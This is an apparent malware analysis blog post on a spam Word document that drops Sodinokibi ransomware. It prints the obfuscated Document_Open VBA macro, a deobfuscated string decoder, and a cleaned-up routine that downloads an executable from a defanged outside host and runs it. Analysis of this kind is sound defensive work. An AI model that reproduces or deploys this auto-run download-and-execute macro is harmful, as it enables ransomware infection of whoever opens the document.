# Sodinokibi Spam, CinaRAT, and Fake G DATA Blog

By Karsten Hahn

Published: 2019-06-05 · Archived: 2026-04-05 13:06:35 UTC

Most of the Macro code in the document looks innocent and is there to divert from the malicious code, which executes on Document_Open. The obfuscated VBA code uses long scrambled variable and function/sub names, encoded strings, junk parameters and conditions. The unaltered main code is below.

```
 Sub docUmeNt_opeN()
AïöJV39ª(0) = "TwPgELNvMievP,~H"
AïöJV39ª(1) = "S3v]hZFNe?N6l@fil?K9.J\@ANT2p)Y_pIo5lel2iL7jc4Zqav_utuJpi=^ho}4+ndG0"
çê½Iâ¿® = ®M¿rº¥»¬¢(üDFW´³©¥nhEcu¬·Ñé(Z®»6û«¿KWiæ¬·(0, -6491, -6012))) + üDFW´³©¥nhEcu¬·Ñé("\j/?MtxaiT_ycD.p
Call NqBHp7qCwNnGUYNUeNUrpXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXqyXNqBHp7qCwNn
CreateObject(üDFW´³©¥nhEcu¬·Ñé(Z®»6û«¿KWiæ¬·(1, 5279, -6017))).Open (çê½Iâ¿®)
End Sub
```

The string decoding function simply extracts every fourth letter from the string. Below is the deobfuscated decoding function.

```
 Function DecodeString(EncodedString) As String
    Dim SomeByteArray(1055) As Byte, AnotherByteArray() As Byte
    AnotherByteArray = StrConv(EncodedString, 128) ' vbFromUnicode
    For idx = 0 To UBound(AnotherByteArray) - 1
        If (idx Mod 4 = 0) Then
            SomeByteArray(arrayIndex) = AnotherByteArray(idx)
            arrayIndex = arrayIndex + 1
        End If
    Next idx
    DecodeString = Left(StrConv(SomeByteArray, 64), arrayIndex) ' 64 = vbUnicode
End Function
```

The main code downloads Sodinokibi to *TEMP\Microsoft-Word.exe* and executes it. It looks as follows after deobfuscation.

```
 Sub Document_Open()
    DownloadedFilePath = Environ("TEMP") + "\Microsoft-Word.exe"
    Call DownloadToFile(0, "hxxp://blaerck.xyz/sabo.exe", DownloadedFilePath, 0, 0)
    CreateObject("Shell.Application").Open (DownloadedFilePath)
End Sub
```

The downloaded file is this Sodinokibi version[3].

---